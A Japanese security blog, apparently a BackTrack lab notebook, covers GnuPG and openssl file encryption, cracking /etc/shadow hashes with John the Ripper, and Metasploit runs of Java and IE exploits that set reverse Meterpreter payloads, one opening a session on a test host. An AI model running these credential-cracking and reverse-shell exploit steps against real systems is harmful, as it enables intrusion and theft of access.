00000100  f4 80 6e a7 7f c5 ed 66  3a 7e 63 f0 01 49 cc d2  |..n....f:~c..I..|
00000110  5e 01 f4 2a 85 03 34 19  27 e6 76 50 c1 05 7f 32  |^..*..4.'.vP...2|
00000120  2b bd 08 e0 bd 6a 4e 3a  1d 05 4e 02 77 79 f4 eb  |+....jN:..N.wy..|
00000130  66 57 25 b0 53 16 a5 c3  0d 3e fb 36 7f 79 5a 80  |fW%.S....>.6.yZ.|
00000140  72 29 63 58 3a a5 f6 c0  0b f7 a3 84 bf c4 4d 34  |r)cX:.........M4|
00000150  63 1d 2c d2 93 f5 08 58  8b 3d ba 16 5a 6a 9b 87  |c.,....X.=..Zj..|
00000160  07 11 dd 85 0c 29 81 06  9a c6 5f 40 c0 dd 63     |.....)...._@..c|
0000016f
root@bt:~# 
root@bt:~# gpg -d input_file2.txt.gpg 

You need a passphrase to unlock the secret key for
user: "BackTrack "
2048-bit RSA key, ID BC2B0ED6, created 2013-01-19 (main key ID BCE10D31)

gpg: gpg-agent is not available in this session
gpg: encrypted with 2048-bit RSA key, ID BC2B0ED6, created 2013-01-19
      "BackTrack "
test case 2
just try
root@bt:~# 
暗号化されたファイルの先頭 8bit は 10 + type + パケット長依存となっているようなので、ある程度は先頭ビットで暗号の判断ができると思う
そのためには、暗号化されたファイルのパケットリストを表示させる
root@bt:~# gpg --list-packets input_file.txt.gpg 
:pubkey enc packet: version 3, algo 1, keyid 2E4389FABC2B0ED6
        data: [2047 bits]

You need a passphrase to unlock the secret key for
user: "BackTrack "
2048-bit RSA key, ID BC2B0ED6, created 2013-01-19 (main key ID BCE10D31)

gpg: gpg-agent is not available in this session
:encrypted data packet:
        length: 93
        mdc_method: 2
gpg: encrypted with 2048-bit RSA key, ID BC2B0ED6, created 2013-01-19
      "BackTrack "
:compressed packet: algo=2
:literal data packet:
        mode b (62), created 1358569386, name="input_file.txt",
        raw data: 24 bytes
root@bt:~# 
最初のパケットは pubkey enc packet となっている
ソースコードの定義だと1になっている
typedef enum 
  {
    PKT_NONE          = 0,
    PKT_PUBKEY_ENC    = 1,  /* Public key encrypted packet. */
    PKT_SIGNATURE     = 2,  /* Secret key encrypted packet. */
    PKT_SYMKEY_ENC    = 3,  /* Session key packet. */
    PKT_ONEPASS_SIG   = 4,  /* One pass sig packet. */
    PKT_SECRET_KEY    = 5,  /* Secret key. */
    PKT_PUBLIC_KEY    = 6,  /* Public key. */
    PKT_SECRET_SUBKEY = 7,  /* Secret subkey. */
    PKT_COMPRESSED    = 8,  /* Compressed data packet. */
    PKT_ENCRYPTED     = 9,  /* Conventional encrypted data. */
    PKT_MARKER        = 10, /* Marker packet. */
    PKT_PLAINTEXT     = 11, /* Literal data packet. */
    PKT_RING_TRUST    = 12, /* Keyring trust packet. */
    PKT_USER_ID       = 13, /* User id packet. */
    PKT_PUBLIC_SUBKEY = 14, /* Public subkey. */
    PKT_OLD_COMMENT   = 16, /* Comment packet from an OpenPGP draft. */
    PKT_ATTRIBUTE     = 17, /* PGP's attribute packet. */
    PKT_ENCRYPTED_MDC = 18, /* Integrity protected encrypted data. */
    PKT_MDC           = 19, /* Manipulation detection code packet. */
    PKT_COMMENT       = 61, /* new comment packet (GnuPG specific). */
    PKT_GPG_CONTROL   = 63  /* internal control packet (GnuPG specific). */
  } 
そのため、10+0001+xx となり、84,85,86 が先頭ビットの場合は公開鍵暗号で暗号化されたファイルの可能性が高い
共通鍵暗号方式の場合は symkey enc packet となっている
root@bt:~# gpg --list-packets input_file.txt.gpg 
:symkey enc packet: version 4, cipher 3, s2k 3, hash 2
        salt 6c8c20e893de5006, count 65536 (96)
gpg: CAST5 encrypted data
gpg: gpg-agent is not available in this session
:encrypted data packet:
        length: 56
gpg: encrypted with 1 passphrase
:compressed packet: algo=1
:literal data packet:
        mode b (62), created 1358577733, name="input_file.txt",
        raw data: 24 bytes
gpg: WARNING: message was not integrity protected
root@bt:~# 
そのため、10+0011+xx となり 8C,8D,8E から始まる場合は共通鍵暗号方式で暗号化されている可能性が高い

openssl コマンドでのファイルの暗号化と復号化

openssl を使ってファイルを暗号化する
まずは共通鍵暗号方式、パスワードで暗号化する方法
使用できる暗号方式は次の通り

root@bt:~# openssl ciphers
DHE-RSA-AES256-SHA
DHE-DSS-AES256-SHA
AES256-SHA
EDH-RSA-DES-CBC3-SHA
EDH-DSS-DES-CBC3-SHA
DES-CBC3-SHA
DES-CBC3-MD5
DHE-RSA-AES128-SHA
DHE-DSS-AES128-SHA
AES128-SHA
RC2-CBC-MD5
RC4-SHA
RC4-MD5
RC4-MD5
EDH-RSA-DES-CBC-SHA
EDH-DSS-DES-CBC-SHA
DES-CBC-SHA
DES-CBC-MD5
EXP-EDH-RSA-DES-CBC-SHA
EXP-EDH-DSS-DES-CBC-SHA
EXP-DES-CBC-SHA
EXP-RC2-CBC-MD5
EXP-RC2-CBC-MD5
EXP-RC4-MD5
EXP-RC4-MD5
元のファイル input_file.txt を作成

root@bt:~# hexdump -C input_file.txt 
00000000  48 65 6c 6c 6f 20 77 6f  72 6c 64 21 21 0a 54 68  |Hello world!!.Th|
00000010  69 73 20 69 73 20 74 65  73 74 20 66 69 6c 65 0a  |is is test file.|
00000020
root@bt:~# 
まずは共通鍵暗号方式で作成したファイルを暗号化する
暗号方式は AES128 を指定
オプションの -k はパスワードを指定するが、ない場合は対話式で入力

root@bt:~# openssl enc -e -aes128 -in input_file.txt -out out_file.enc -k password 
root@bt:~# file out_file.enc
out_file.enc: data
root@bt:~# hexdump -C out_file.enc 
00000000  53 61 6c 74 65 64 5f 5f  bc ac 6a 90 87 c9 a6 fb  |Salted__..j.....|
00000010  f6 b4 cf e9 cd fe e1 51  2c e1 04 fb 3d 94 3e 5e  |.......Q,...=.>^|
00000020  59 db 69 62 80 d9 70 37  f2 e8 ec a9 88 b8 3f 98  |Y.ib..p7......?.|
00000030  06 20 50 36 38 4c 63 97  8b c3 2c b1 d0 cd 6e 1d  |. P68Lc...,...n.|
00000040
root@bt:~# 
openssl の共通鍵暗号方式で暗号化した場合の特徴としてバイナリの先頭部分が Salted__ から始まる
ファイルタイプとしては data としてしか表示されないので、この部分を参考に判定可能
復号化するには次のコマンド

root@bt:~# openssl enc -d -aes128 -in out_file.enc -k password
Hello world!!
This is test file
root@bt:~# 
公開鍵暗号方式で暗号化する場合には鍵の作成から行う
秘密鍵の生成ではそのまま作成する場合と、鍵自体を暗号化する作成方法がある
平文で秘密鍵を作成する場合は下記のとおり

root@bt:~# openssl genrsa -out private.pem
Generating RSA private key, 512 bit long modulus
.........++++++++++++
.++++++++++++
e is 65537 (0x10001)
root@bt:~# 
root@bt:~# more private.pem 
-----BEGIN RSA PRIVATE KEY-----
MIIBOQIBAAJBAMXq7bBMGF2pjDxsBpcFH3Sr4GrTHD1wAXsy+muxOwg4aulpUf3D
qDxJTw3uijLI3b6/sRL9gupIvSSxMOkZ5OECAwEAAQJABl20H4OTFRArDpZ678ie
ZmZQ5Z68vc0ofwn4vBYLTAxWAI+8YvTX6hZxkaB7BLFYIwc5ufO4TcRzeOeG2kE9
AQIhAPDQenJke3rcPpXJe8f8X0eWuWx/vmaXhqlqi9JMGUdZAiEA0mX1jx64CoeW
qq+N4iF6+TU3uYCclwrF0AprWYoL4MkCIGzw43P8oR/joyyACc9fDHuGZDwBTlF7
GyBpYvewFX+BAiBrnJqsSRn4yMDXLFN1hYpQTFfkGVP+LRRgA/REJ8dLgQIgFWUV
QVhh7g+WsNhAuSOH9ULQoPu49F/m8rIIazcyo/8=
-----END RSA PRIVATE KEY-----
秘密鍵自体を AES128 で暗号化して作成する場合は次のとおり
この場合にはパスフレーズの入力が必要になる

root@bt:~# openssl genrsa -aes128 -out private.pem
Generating RSA private key, 512 bit long modulus
..++++++++++++
....++++++++++++
e is 65537 (0x10001)
Enter pass phrase for private.pem: password
Verifying - Enter pass phrase for private.pem: password
root@bt:~# 
root@bt:~# more private.pem 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3A2BDD1E928872053C69907E845E24B9

LjOYTMt8jfIM0TVO1j8pErdYVz3tNltOyojzIq/TH1aIET0qnEHzneU6+AEpDyZi
hZ/zFH5N0+Hlma7T3lw5nAoSWX25ssQP26xcMP0Inr12gUHgr2S8H0Mn7wHVpw4r
9fRciENvEaQDJCI3oYbMmb3gqIe0J6P+jG2FS0S/oBekusmhioR/77bBQWK3sUtq
OPmzPg/pI8dLvdR06UMFyD1VtcNyZLS3/4IxktI8t4Z9tvQZqW54hstSPhwagSpX
jLW+VG857yYyD4ZRqYU/eb6YztbxUVS3TPU+R7rorSEze+87Mb846004wZJGLery
+Co/mRAP4G+xYMT8qGKQIGYKym9bQlYhnQzmMWqEgoKpWYQ3Z3xoQ/I40Tpv+DdO
AF4JiSLedzaW2oCU0BYGV9pTnEEToFM5BVjpXoqpJ//9icb93vXb1tDnqjwc0CT+
-----END RSA PRIVATE KEY-----
次に公開鍵を作成する
暗号化した秘密鍵で公開鍵を作る場合にはパスフレーズが必要になる

root@bt:~# openssl rsa -pubout -in private.pem -out public.pem
Enter pass phrase for private.pem:
writing RSA key
root@bt:~# more public.pem 
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMG8Ax/J6pdjlcNpfTpSsaDYJjNzxsSB
ftrIjQvgdtXIMSWSfDRNjiralgIkigbeTGtse/awqmU6wJjB7b57OjkCAwEAAQ==
-----END PUBLIC KEY-----
root@bt:~# 
作成した公開鍵でファイルを暗号化するには次のとおり

root@bt:~# openssl rsautl -encrypt -pubin -inkey public.pem -in input_file.txt -out out_file.enc
root@bt:~# hexdump -C out_file.enc 
00000000  67 a0 91 5f f0 f5 22 a1  6d e8 c5 3c 20 af 14 5c  |g.._..".m..< ..\|
00000010  2b 63 48 bf 23 59 2a 89  1c 97 4e 5d 9a 2c 20 50  |+cH.#Y*...N]., P|
00000020  a4 c2 7f b1 25 2a 9d f7  a0 3d 16 85 98 95 98 4a  |....%*...=.....J|
00000030  66 22 3b 5a 30 49 0d 26  51 03 c5 93 cc 75 35 1b  |f";Z0I.&Q....u5.|
00000040
共通鍵方式とは異なり先頭ビットが異なる
このファイルを復号するには次のコマンドを使用

root@bt:~# openssl rsautl -decrypt -inkey private.pem -in out_file.enc 
Enter pass phrase for private.pem:
Hello world!!
This is test file
root@bt:~# 

2013年1月16日水曜日

john the ripper の使い方

Backtrack に収録されているパスワードクラックツール john the ripper の使い方。
/etc/shadow ファイルが必要なので root 権限が必要になる。
実際に使う場面としては root 権限はあるが他のユーザのパスワードを取得したい時などになる。

Linux 系のシステムではユーザとパスワードは以下の二つのファイルで管理されている。

/etc/passwd
/etc/shadow

passwd がユーザ属性が記述してあり、shadow がハッシュ化されたパスワードが格納されている。
john the ripper ではこの二つのファイルからパスワードを解析する。

ここでは、Backtrack のファイルを解析する。
まず最初に passwd ファイルと shadow ファイルを手元にコピーして john the ripper が解析できる形式に変換する。

root@bt:~# cp /etc/passwd ./passwd
root@bt:~# cp /etc/shadow ./shadow
変換するコマンドは unshadow で、pass ファイルと shadow ファイルを読み込ませて出力ファイルを設定する。
root@bt:~# /pentest/passwords/john/unshadow
Usage: unshadow PASSWORD-FILE SHADOW-FILE
root@bt:~# /pentest/passwords/john/unshadow passwd shadow > pass_shadow
root@bt:~# ls
Desktop  pass_shadow  passwd  shadow

ファイルができたら解析する。

root@bt:~# /pentest/passwords/john/john pass_shadow 
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 1 password hash (sha512crypt [32/32])
toor             (root)
guesses: 1  time: 0:00:00:00 DONE (Wed Jan 16 21:07:35 2013)  c/s: 23.33  trying: toor
Use the "--show" option to display all of the cracked passwords reliably
root@bt:~# 


これで解析できた。

ただし、実際の環境でこのコマンドを実行すると複数の解析モードが複数のユーザに対して延々実行されるのでかなりの時間がかかる。
実際に試す場合は下記のオプションを使い分ける。

john --single file_name : シングルモード、ユーザ名に含まれる情報から推測する、お手軽
john --wordlist=word_list file_name : 辞書解析、実質的に使えるのはこのモードまで
john --incremental file_name : ブルートフォースアタック、あまり使わないと思う


あとは、ユーザ名を付け加えるぐらいで十分。
john --users=user_name

解析が終わって結果を見る場合は --show コマンドで元のファイルを表示させる
./john --show pass_shadow

2013年1月15日火曜日

CVE-2013-0422 Java 7 任意のコードが実行可能な脆弱性

2013年1月10日に Java の脆弱性が報告されていた。
内容としては Java のサンドボックスを回避され任意のコードが実行可能な脆弱性とのこと。
以下 JVN を参照。
http://jvn.jp/cert/JVNTA13-010A/index.html

この脆弱性を利用した metasploit のモジュールがリリースされていたので試してみる。
ソースコードと説明は以下の通り。

ソースコード。
http://www.exploit-db.com/exploits/24045/

metasploit の説明
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_jmxbean

Rank = ExcellentRanking となっているので期待して試してみる。
クライアントサイドの環境としては Windows XP SP3 / IE8 / Java7u6 となる。


msf > use exploit/multi/browser/java_jre17_jmxbean 
msf  exploit(java_jre17_jmxbean) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_jmxbean) > set srvhost 192.168.1.1
srvhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set srvport 80
srvport => 80
msf  exploit(java_jre17_jmxbean) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set lport 8080
lport => 8080
msf  exploit(java_jre17_jmxbean) > set uripath java
uripath => java
msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.1:8080 
[*] Using URL: http://192.168.1.1:80/java
[*] Server started.
msf  exploit(java_jre17_jmxbean) > 
msf  exploit(java_jre17_jmxbean) > 
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] Sending stage (30216 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:8080 -> 192.168.1.2:1059) at 2013-01-15 21:20:20 +0900

msf  exploit(java_jre17_jmxbean) > show sessions

Active sessions
===============

  Id  Type                   Information                 Connection
  --  ----                   -----------                 ----------
  1   meterpreter java/java  test @ test  192.168.1.1:8080 -> 192.168.1.2:1059 (192.168.1.2)



成功した。
なお、Java6u15 が手元にあったので試しにそちらを試してみたところ失敗した。
Java7 のみの脆弱性なのかもしれないが、どちらにしても1月15日に修正版がりりーすされているので、そちらを適用するのがいい。

2013年1月8日火曜日

Back Track での sshd の有効化

Back Track をインストールして初めて sshd を起動し、リモートからログインしようと思ってできなかった。
調べてみると単純にサーバの公開鍵がなかっただけ。
なので、下記のコマンドを実行して鍵を生成後に sshd を起動すればよい。

sshd-generate

Back Track のデフォルトの状態では root ログインできるし、iptables もないので、上記コマンドだけ実行すれば問題ないはず。

あとは、下記のようにコマンドラインで起動するかメニューから起動するだけ。

/etc/init.d/ssh start

2013年1月7日月曜日

CVE-2012-4792 Internet Explorer 解放済みメモリ使用 (use-after-free) の脆弱性

CVE-2012-4792 で IE 8 以前の IE に use-after-free の脆弱性が報告されており、metasploit に実行モジュールが提供されていたので実験してみる。

JVNVU#92426910
Internet Explorer に任意のコードが実行される脆弱性
http://jvn.jp/cert/JVNVU92426910/index.html

その前に use-after-free について調べてみる。
日本語に訳すと解放済みメモリ使用。メモリ解放が適切に処理されていないために発生する不具合らしい。
下記のサイトに実験コード付きで解説があった。
https://www.fortify.com/vulncat/ja/vulncat/cpp/use_after_free.html
また下記のサイトによると、一度解放されたオブジェクトが使用していたアドレス空間を再度別な目的で利用するために発生するとのこと。
http://blogs.msdn.com/b/ie/archive/2012/03/12/enhanced-memory-protections-in-ie10.aspx

Metasploit をアップデートしてサーバの設定を入れてみる。

msf > use exploit/windows/browser/ie_cbutton_uaf
msf exploit(ie_cbutton_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_cbutton_uaf) > set SRVHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set SRVPORT 80
msf exploit(ie_cbutton_uaf) > set LHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set LPORT 8080
msf exploit(ie_cbutton_uaf) > set URIPATH ie
msf exploit(ie_cbutton_uaf) > exploit

このあと、Windows XP SP3 の IE8 からアクセスするが exploit は成功しなかった。
IE には「お使いのコンピューターを保護するため Internet Explorer はこの Web ページを閉じました。」と表示されていた。
少し調べてみるとソースコードに以下の文章を発見。

Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.

どうやら日本語ファイアウォールが防御していたらしい。日本語の windows しか手元になかったので今回の検証はここまで。

JVNによると1月7日時点での対応策は以下の二つ。

- Fix it 50971 を適用する
- Enhanced Mitigation Experience Toolkit (EMET) を適用する

EMET は Enhanced Mitigation Experience Toolkit のこと。古いプログラムでは有効にされていないセキュリティ対策を強制的に適用するツール。具体的には DEP、SEHOP、ASLR を適用した状態でプログラムを実行できるらしい。
そのため使用していたアプリケーションが動かなくなる場合があるのは注意が必要。